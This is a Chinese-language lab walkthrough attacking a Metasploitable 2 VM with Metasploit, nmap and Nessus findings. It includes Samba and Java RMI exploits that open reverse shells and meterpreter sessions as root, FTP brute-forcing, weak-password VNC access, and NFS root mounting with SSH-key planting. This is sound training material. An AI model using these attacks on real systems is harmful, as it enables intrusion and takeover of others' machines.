Module: exploit/multi/samba/usermap_script
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2007-05-14

Provided by:
jduck <jduck@metasploit.com>

Available targets:
Id Name
-- ----
=> 0 Automatic

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)

Payload information:
Space: 1024

Description:
This module exploits a command execution vulnerability in Samba
versions 3.0.20 through 3.0.25rc3 when using the non-default
"username map script" configuration option. By specifying a username
containing shell meta characters, attackers can execute arbitrary
commands.

No authentication is needed to exploit this vulnerability since
this option is used to map usernames prior to authentication!

References:
https://nvd.nist.gov/vuln/detail/CVE-2007-2447
OSVDB (34700)
http://www.securityfocus.com/bid/23972
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
http://samba.org/samba/security/CVE-2007-2447.html


View the full module info with the info -d command.

Exploiting Samba

  • 在 Metasploit 中,输入以下命令:
1
2
3
use exploit/multi/samba/usermap_script
or
use 0
  • 设置 RHOST,使用 Metasploitable 2 的 IP 运行以下命令:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.8.130
RHOSTS => 10.10.8.130
msf6 exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):

Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.8.130 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.8.134 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic



View the full module info with the info, or info -d command.
  • 现在运行“run”命令:
1
2
3
4
5
6
7
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.10.8.134:4444
[*] Command shell session 2 opened (10.10.8.134:4444 -> 10.10.8.130:36019) at 2023-10-28 23:46:35 -0400

id
uid=0(root) gid=0(root)
  • 要退出此会话,我们这次必须按 CTRL+C。
  • 完成漏洞利用后,请记住输入“back”命令。

A Look at UnreadlIRCd

注:这部分我的 Nessus 没有扫出来,用作者的图。

  • 在列表中,有一个名为“UnrealIRCd Backdoor Detection.”的条目,让我们点击那个。
  • 它说:“The remote IRC server is a version of UnrealIRCd with a backdoor that allows an attacker to execute arbitrary code on the affected host”
  • 有时,在右下角的“Reference Information”部分,它会给我们一个CVE。我们也许可以用它来利用该服务。在本例中,它显示“CVE-2010-2075”:

  • 我们在 Metasploit 中搜索一下,看看它说了什么:

  • 它找到了一个,我们来试试吧。

Exploiting UnreadlIRCd

  • 输入以下命令:
1
2
3
4
5
6
7
8
9
10
11
msf6 > search CVE-2010-2075

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor
  • 使用 info 命令查看信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > info

Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
Module: exploit/unix/irc/unreal_ircd_3281_backdoor
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2010-06-12

Provided by:
hdm <x@hdm.io>

Available targets:
Id Name
-- ----
=> 0 Automatic Target

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 6667 yes The target port (TCP)

Payload information:
Space: 1024

Description:
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.

References:
https://nvd.nist.gov/vuln/detail/CVE-2010-2075
OSVDB (65445)
http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt


View the full module info with the info -d command.
  • 再次,我建议您阅读“References”部分中的每个条目,以便了解您正在做什么。
  • 我们将像之前一样设置 RHOST:
1
2
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 10.10.8.130
RHOSTS => 10.10.8.130
  • 接着执行 run,但是我这里失败了,应该是没这个漏洞,放张作者的图:

A Look at the VNC Server

  • 再次查看下 Nessus,发现了 VNC Server ‘password’ Password,让我们点击它,看看我们能学到什么。
  • 它说:The VNC server running on the remote host is secured with a weak password. Nessus was able to login using VNC authentication and a password of ‘password’. A remote, unauthenticated attacker could exploit this to take control of the system

译文:远程主机上运行的 VNC 服务器使用弱密码进行保护。 Nessus 能够使用 VNC 身份验证和密码“password”登录。未经身份验证的远程攻击者可以利用此漏洞来控制系统。

  • VNC 是一种类似于远程桌面(RDP)的技术,对于 Windows 用户,有几个免费的 VNC 客户端可供选择,例如:
    • TigerVNC
    • TightVNC
    • RealVNC
  • 对于 Linux 用户,您可以使用:
    • Remmina
    • RealVNC
    • TightVNC
    • Vinagre
  • 安装它们的方法有很多种,这使我无法在不同的操作系统上安装每种方法。但正如上面“假设”部分所述,您应该已经知道如何安装和使用 VNC。
  • 如果没有,不用担心。研究它,抓住一个,然后将其安装到您的主机系统上。不在其中一台虚拟机中。

注:Kali 中已安装 TightVNC。

  • 安装 VNC 客户端后,启动它。我们将连接到 VNC 服务器并看看我们能看到什么。

Exploiting VNC

  • 请注意,在 Nessus 详细信息页面中,它为我们提供了密码、端口号和 IP 地址。让我们将其放入 VNC 客户端并尝试连接:

  • 使用 vncserver 命令连接:

  • 看起来我们已连接到以 root 权限运行的 VNC 服务器。
  • 我们再次获取到了 Root 用户权限,拥有 password 密码几乎就像没有密码一样。
  • 到目前为止,我们已经很幸运地获得了 Metasploitable 2 系统的 root 访问权限。

A Look at the Java RMI Registry

  • 在端口 1099 上看起来有一个 Java RMI 注册表正在运行。让我们看看是否还能找到其他相关信息。
1
2
3
4
5
6
7
8
9
10
msf6 > services
Services
========

host port proto name state info
---- ---- ----- ---- ----- ----
10.10.8.130 21 tcp ftp open vsftpd 2.3.4
.....
10.10.8.130 1099 tcp java-rmi open GNU Classpath grmiregistry
......
  • 粗略地查看 Nessus 扫描仅表明它已找到该服务,但没有向我们提供任何有关如何利用它的指示:

  • 让我们在 Metasploit 中搜索一下,看看是否能找到任何东西,输入命令:
1
2
3
4
5
6
7
8
9
10
11
12
msf6 > search rmi

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/local/asan_suid_executable_priv_esc 2016-02-17 excellent Yes AddressSanitizer (ASan) SUID Executable Privilege Escalation
1 auxiliary/gather/advantech_webaccess_creds 2017-01-21 normal No Advantech WebAccess 8.1 Post Authentication Credential Collector
2 exploit/windows/http/advantech_iview_networkservlet_cmd_inject 2022-06-28 excellent Yes Advantech iView NetworkServlet Command Injection
3 exploit/linux/misc/aerospike_database_udf_cmd_exec 2020-07-31 great Yes Aerospike Database UDF Lua Code Execution
......
  • 结果太多了,我们还能寻找什么?我们尝试“搜索 java-rmi”怎么样?出现一个结果:
1
2
3
4
5
6
7
8
9
10
11
msf6 > search java-rmi

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIConnectionImpl Deserialization Privilege Escalation


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/browser/java_rmi_connection_impl
  • 使用 info 看一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
msf6 > info exploit/multi/browser/java_rmi_connection_impl

Name: Java RMIConnectionImpl Deserialization Privilege Escalation
Module: exploit/multi/browser/java_rmi_connection_impl
Platform: Java
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2010-03-31

Provided by:
Sami Koivu
Matthias Kaiser
egypt <egypt@metasploit.com>

Available targets:
Id Name
-- ----
=> 0 Generic (Java Payload)

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Payload information:
Space: 20480
Avoid: 0 characters

Description:
This module exploits a vulnerability in the Java Runtime Environment
that allows to deserialize a MarshalledObject containing a custom
classloader under a privileged context. The vulnerability affects
version 6 prior to update 19 and version 5 prior to update 23.

References:
https://nvd.nist.gov/vuln/detail/CVE-2010-0094
OSVDB (63484)
http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-rmiconnectionimpl-deserialization.html


View the full module info with the info -d command.
  • 要使用这个,看起来我们必须让某人点击浏览器中的某些内容。然后它会连接回我们的监听服务并给我们一个 shell。
  • 这对于我们在这里所做的事情是行不通的,让我们继续寻找。

Exploit-DB

  • 有一个已知漏洞的在线数据库。并非所有这些漏洞都在 Metasploit 中,但其中一些是。好消息是我们可以从 Metasploit 中搜索该数据库。
  • 为此,请输入“searchsploit <搜索词>”。因此,对于这种情况,我们尝试以下操作:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf6 > searchsploit java rmi
[*] exec: searchsploit java rmi

---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
CatDV 9.2 - RMI Authentication Bypass | java/remote/49621.java
HPE iMC 7.3 - RMI Java Deserialization | windows/remote/43927.txt
Java - RMIConnectionImpl Deserialization Privilege Escalation (Metasploit) | multiple/remote/16305.rb
Java RMI - Server Insecure Default Configuration Java Code Execution (Metasploit) | multiple/remote/17535.rb
Jenkins CLI - RMI Java Deserialization (Metasploit) | java/remote/38983.rb
LANSA aXes Web Terminal TN5250 - 'axes_default.css' Cross-Site Scripting | java/webapps/35683.txt
Liferay Portal 6.2.5 - Insecure Permissions | java/webapps/51244.py
Neo4j 3.4.18 - RMI based Remote Code Execution (RCE) | java/remote/50170.java
Oracle WebLogic 12.1.2.0 - RMI Registry UnicastRef Object Java Deserialization Remote Code Execution | multiple/webapps/44998.py
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  • 我们将查找其中每一项的 CVE,并尝试它们,看看我们是否可以让其中一项发挥作用。
  • 复制一个条目的完整标题:RMIConnectionImpl Deserialization Privilege Escalation (Metasploit)
  • 现在,让我们进入 exploit-db 数据库:https://www.exploit-db.com/

  • 查询结果如下:

  • 让我们点击它看看我们能学到什么:

  • 这告诉我们它有一个 CVE,而且它看起来像是在 Metasploit 中。
  • 让我们回到 Metasploit 并搜索该 CVE:
1
2
3
4
5
6
7
8
9
10
11
msf6 > search 2010-0094

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIConnectionImpl Deserialization Privilege Escalation


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/browser/java_rmi_connection_impl
  • 这看起来非常像我们之前看到的。所以,我们要跳过它。

Exploiting Java RMI Registry

  • 这次,我们将尝试下一个:Server Insecure Default Configuration Java Code Execution (Metasploit)
  • 返回 https://www.exploit-db.com/ 并像我们在第一个搜索中所做的那样进行搜索,我们得到一个结果:

  • 我们了解到它有 CVE,看起来它也应该在 Metasploit 中,回到 Metasploit。
  • 像我们之前一样,输入以下命令来搜索 CVE:
1
2
3
4
5
6
7
8
9
10
11
12
msf6 > use 2011-3556

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server Insecure Default Configuration Java Code Execution
1 auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal No Java RMI Server Insecure Endpoint Code Execution Scanner


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/misc/java_rmi_server
  • 使用 info 查看漏洞:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
msf6 > info exploit/multi/misc/java_rmi_server

Name: Java RMI Server Insecure Default Configuration Java Code Execution
Module: exploit/multi/misc/java_rmi_server
Platform: Java, Linux, OSX, Solaris, Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-10-15

Provided by:
mihi

Available targets:
Id Name
-- ----
=> 0 Generic (Java Payload)
1 Windows x86 (Native Payload)
2 Linux x86 (Native Payload)
3 Mac OS X PPC (Native Payload)
4 Mac OS X x86 (Native Payload)

Check supported:
Yes

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 1099 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Payload information:
Avoid: 0 characters

Description:
This module takes advantage of the default configuration of the RMI Registry and
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
invokes a method in the RMI Distributed Garbage Collector which is available via every
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
(custom) RMI endpoints as well.

Note that it does not work against Java Management Extension (JMX) ports since those do
not support remote class loading, unless another RMI endpoint is active in the same
Java process.

RMI method calls do not support or require any sort of authentication.

References:
http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
http://www.securitytracker.com/id?1026215
https://nvd.nist.gov/vuln/detail/CVE-2011-3556


View the full module info with the info -d command.
  • 看起来像是可以造成 RCE,利用一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 1099 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.8.134 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Generic (Java Payload)



View the full module info with the info, or info -d command.
  • 看起来端口已经设置好了,让我们设置 RHOST,然后“run”它:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 10.10.8.130
RHOSTS => 10.10.8.130
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 10.10.8.134:4444
[*] 10.10.8.130:1099 - Using URL: http://10.10.8.134:8080/N8JB9cQlr
[*] 10.10.8.130:1099 - Server started.
[*] 10.10.8.130:1099 - Sending RMI Header...
[*] 10.10.8.130:1099 - Sending RMI Call...
[*] 10.10.8.130:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 10.10.8.130
[*] Meterpreter session 1 opened (10.10.8.134:4444 -> 10.10.8.130:55382) at 2023-10-29 04:24:44 -0400

meterpreter > getuid
Server username: root
  • 输入命令,将会话挂起:
1
2
3
4
5
6
7
8
9
10
meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(multi/misc/java_rmi_server) > sessions -l

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter java/linux root @ metasploitable 10.10.8.134:4444 -> 10.10.8.130:55382 (10.10.8.130)
  • 所以这一次需要多花点功夫,这里的目标是教您如何进行必要的研究以找到可行的漏洞利用程序,然后在找到它后如何使用它,其中一些服务比其他服务需要更多的工作才能找到有效的漏洞。

A Look at NFS

  • 在 Nessus 上查看 NSF 扫描结果:

  • 在 Kali Linux 中打开另一个终端,要查看远程 NFS 服务器可挂载的内容,我们使用“showmount”命令:
1
2
3
4
┌──(root㉿kali)-[~]
└─# showmount -e 10.10.8.130
Export list for 10.10.8.130:
/ *
  • 它表明远程服务器正在导出文件系统的根。

Exploiting NFS

  • 首先,让我们使用以下命令创建一个挂载点:
1
2
┌──(root㉿kali)-[~]
└─# mkdir -p /mnt/nfs
  • 然后,让我们使用以下命令挂载远程文件系统:
1
2
3
┌──(root㉿kali)-[~]
└─# mount 10.10.8.130:/ /mnt/nfs
Created symlink /run/systemd/system/remote-fs.target.wants/rpc-statd.service → /lib/systemd/system/rpc-statd.service.
  • 之后,我们将目录更改为该文件系统,并查看其中的内容:
1
cd /mnt/nfs
  • 查看一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(root㉿kali)-[~]
└─# ls -alh --color
total 128K
drwx------ 17 root root 4.0K Oct 29 04:35 .
drwxr-xr-x 18 root root 4.0K Aug 21 16:27 ..
-rw-r--r-- 1 root root 220 Oct 29 03:51 .bash_logout
-rw-r--r-- 1 root root 5.5K Aug 21 14:53 .bashrc
-rw-r--r-- 1 root root 571 Aug 21 14:53 .bashrc.original
drwx------ 6 root root 4.0K Oct 29 03:51 .cache
drwx------ 12 root root 4.0K Oct 29 03:51 .config
drwxr-xr-x 2 root root 4.0K Oct 29 03:51 Desktop
-rw-r--r-- 1 root root 35 Oct 29 03:51 .dmrc
drwxr-xr-x 2 root root 4.0K Oct 29 03:51 Documents
drwxr-xr-x 2 root root 4.0K Oct 29 03:51 Downloads
-rw-r--r-- 1 root root 12K Aug 21 14:53 .face
lrwxrwxrwx 1 root root 11 Aug 21 14:53 .face.icon -> /root/.face
drwx------ 3 root root 4.0K Oct 29 03:51 .gnupg
-rw------- 1 root root 0 Oct 29 03:51 .ICEauthority
drwxr-xr-x 3 root root 4.0K Oct 29 03:51 .java
drwx------ 4 root root 4.0K Oct 29 03:51 .local
drwxr-xr-x 11 root root 4.0K Oct 29 04:29 .msf4
drwxr-xr-x 2 root root 4.0K Oct 29 03:51 Music
drwxr-xr-x 2 root root 4.0K Oct 29 03:51 Pictures
-rw-r--r-- 1 root root 161 Aug 8 12:35 .profile
drwxr-xr-x 2 root root 4.0K Oct 29 03:51 Public
drwx------ 2 root root 4.0K Aug 21 14:51 .ssh
drwxr-xr-x 2 root root 4.0K Oct 29 03:51 Templates
drwxr-xr-x 2 root root 4.0K Oct 29 03:51 Videos
-rw------- 1 root root 149 Oct 29 04:35 .Xauthority
-rw------- 1 root root 2.3K Oct 29 03:51 .xsession-errors
-rw------- 1 root root 404 Oct 16 03:18 .zsh_history
-rw-r--r-- 1 root root 11K Oct 16 03:14 .zshrc
  • 那么我们能用这个做什么呢?
  • 好吧,如果您有 SSH 公钥,您可以将其放入 /root/.ssh/authorized_keys 中,然后以 root 身份直接将 ssh 放入框中。
  • 您可以将自己添加为用户,创建主目录,将 SSH 公钥添加到 /home//.ssh/authorized_keys 中。
1
2
3
4
5
┌──(root㉿kali)-[~/.ssh]
└─# ls -al
total 8
drwx------ 2 root root 4096 Aug 21 14:51 .
drwx------ 17 root root 4096 Oct 29 04:35 ..
  • 好吧,让我们卸载远程文件系统并继续,运行以下命令来执行此操作:
1
2
┌──(root㉿kali)-[~]
└─# umount /mnt/nfs

A Look at ProFTPD

  • 在我们的服务列表中,我们看到 ProFTPD 正在端口 2121 上运行。我们如何才能进入该状态呢?我们可以尝试以匿名用户身份进行 FTP 登录。有大量 FTP 客户端可供选择。我们将从我们的主机而不是虚拟机上执行此步骤。
  • 对于 Windows,您可以使用:
    • FileZilla
    • WinSCP
    • CuteFTP
    • CoreFTP
    • WISE-FTP
  • 或者对于 Linux,您可以使用:
    • gFTP
    • FileZilla
    • FireFTP
  • 或者您想要的其他任何一个,继续安装您最喜欢的,Kali 中默认中未安装此类工具,安装一下:
1
2
┌──(root㉿kali)-[~/Desktop]
└─# apt install filezilla -y
  • 打开它,我们将首先尝试以匿名用户身份登录,对于用户名,我们将使用“anonymous”:

  • 连接来尝试一下,嗯……它说登录不正确。
  • 那么,我们如何找到如何使用这项服务呢?我打赌“nmap”可以帮助我们,它有一个脚本引擎,我们可以用它来扫描和测试远程服务。

Exploiting ProFTPD

  • 在 Kali Linux 虚拟机中打开一个新的终端窗口,我们将使用 nmap 中的 FTP 脚本来了解我们可以了解有关此服务的信息。
  • 为此,请输入以下命令:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿kali)-[~]
└─# nmap --script=ftp-brute.nse 10.10.8.130
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 05:12 EDT
Nmap scan report for 10.10.8.130
Host is up (0.0013s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
| ftp-brute:
| Accounts:
| user:user - Valid credentials
|_ Statistics: Performed 3601 guesses in 602 seconds, average tps: 5.8
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
MAC Address: 00:0C:29:FA:DD:2A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 604.14 seconds
  • 当然,它扫描的是端口 21 而不是端口 2121,但让我们看看凭据是否适用于这两个端口。
  • 返回到主机系统中的 FTP 客户端,我们将连接以下内容:
    • username:user
    • password:user
    • port:2021

  • 成功连接~

Metasploit Maintenance

  • 当您使用 Metasploit 时,您需要了解一些基本的维护知识,以保持一切顺利运行。让我们看一些对此有所帮助的事情。

Database Connectivity

  • 您可以使用以下命令检查数据库连接的状态:
1
2
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
  • 这就是您想要看到的输出,如果没有连接,可以重启 postgres,退出 Metasploit。
  • 当您返回 shell 提示符时,运行以下命令:
1
2
3
systemctl restart postgresql
or
msfdb init
  • 完成后,再次运行“msfconsole”以返回 Metasploit。登录后您可以再次检查数据库的状态。

Clear Database

  • 当您按照我们在此介绍的方式收集信息时,它会被放入 Metasploit 的数据库中。
  • 在某些时候,您可能希望清除该数据库并重新开始。
  • 为此,我们将清理所谓的工作空间。例如,这将删除主机信息和服务。
  • 因此,只有当您想从头开始时才这样做。
  • 要列出现有的工作区,请键入以下命令:
1
workspace
  • 确定您要删除的那个,然后使用以下命令:
1
workspace -d <name of workspace>
  • 如果您删除了唯一的工作区,则会为您创建另一个默认工作区:
1
workspace -a <name of workspace>
  • 要切换工作区,请输入以下命令:
1
workspace <name of workspace>
  • 大致如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 > workspace
* default
msf6 > workspace -d default
[*] Deleted workspace: default
[*] Recreated the default workspace
msf6 > workspace -a xixi
[*] Added workspace: xixi
[*] Workspace: xixi
msf6 > workspace
default
* xixi

Additional Resources

Other Vulnerable Virtual Machines

  • 一旦您多次利用 Metasploitable 2,您就会想要尝试其他一些易受攻击的虚拟机。随着您的进步并了解更多有关黑客攻击的知识,您将需要了解以下一些内容:

Metasploitable 3

  • 这是您可以构建的 Windows 虚拟机,它还内置了漏洞。
  • 但是,它不像 Metasploitable 2 那样傻瓜式。
  • 你必须投入更多精力,有关如何开始使用它的更多信息,请查看此处:传送门

Security Scenario Generator

  • Metasploitable 2 和 3 的问题在于,每次使用它们时,它们都会出现相同的漏洞。
  • 当你做了你能做的一切之后,你就必须转向其他事情了。
  • 还有另一个项目,每次运行时都会生成不同的易受攻击的虚拟机,您将从这个项目中获得很多收获:传送门

Other Metasploit Resources

Hacking Practice

Recap

  • 我们在 VMWare Workstation Pro 中建立了一个测试实验室。我们安装并配置了三个虚拟机,以便模拟实时环境:Metasploitable 2、Nessus 和 Kali Linux。
  • 然后,我们介绍了使用 Metasploit、nmap 和 Nessus 收集信息。有时,一方会获得一些对方可能没有的有用信息。我们使用“searchsploit”研究了 Metasploit 中的漏洞,然后使用该信息在 https://www.exploit-db.com 上查找 CVE。一旦我们找到了可行的 CVE,我们就在 Metasploit 中搜索它。一旦 Metasploit 给了我们插件名称,我们就加载它,阅读它,配置它,然后针对目标执行它。
  • 并不是所有的东西(实际上几乎没有)第一次就能工作。不要让这困扰你。继续研究。尽可能了解有关您正在攻击的服务的一切信息。这需要大量的时间、耐心和练习。对于任何你想擅长的事情都是如此!
  • 我们还研究了一些额外的虚拟机来练习黑客攻击,以及其他用于学习 Metasploit 的资源。对于那些我们不想设置虚拟机的时候,我们查看了一些允许您直接在网站本身上练习的网站。
  • 我们关注的攻击主要是快速根除盒子的远程攻击。 Metasploitable 2 上也存在易受攻击的 Web 服务。您可以对其进行 SQL 注入、跨站点脚本编写以及相当多的其他攻击。研究和黑客攻击是齐头并进的。如果没有大量的研究,你将无法成为一名优秀的黑客。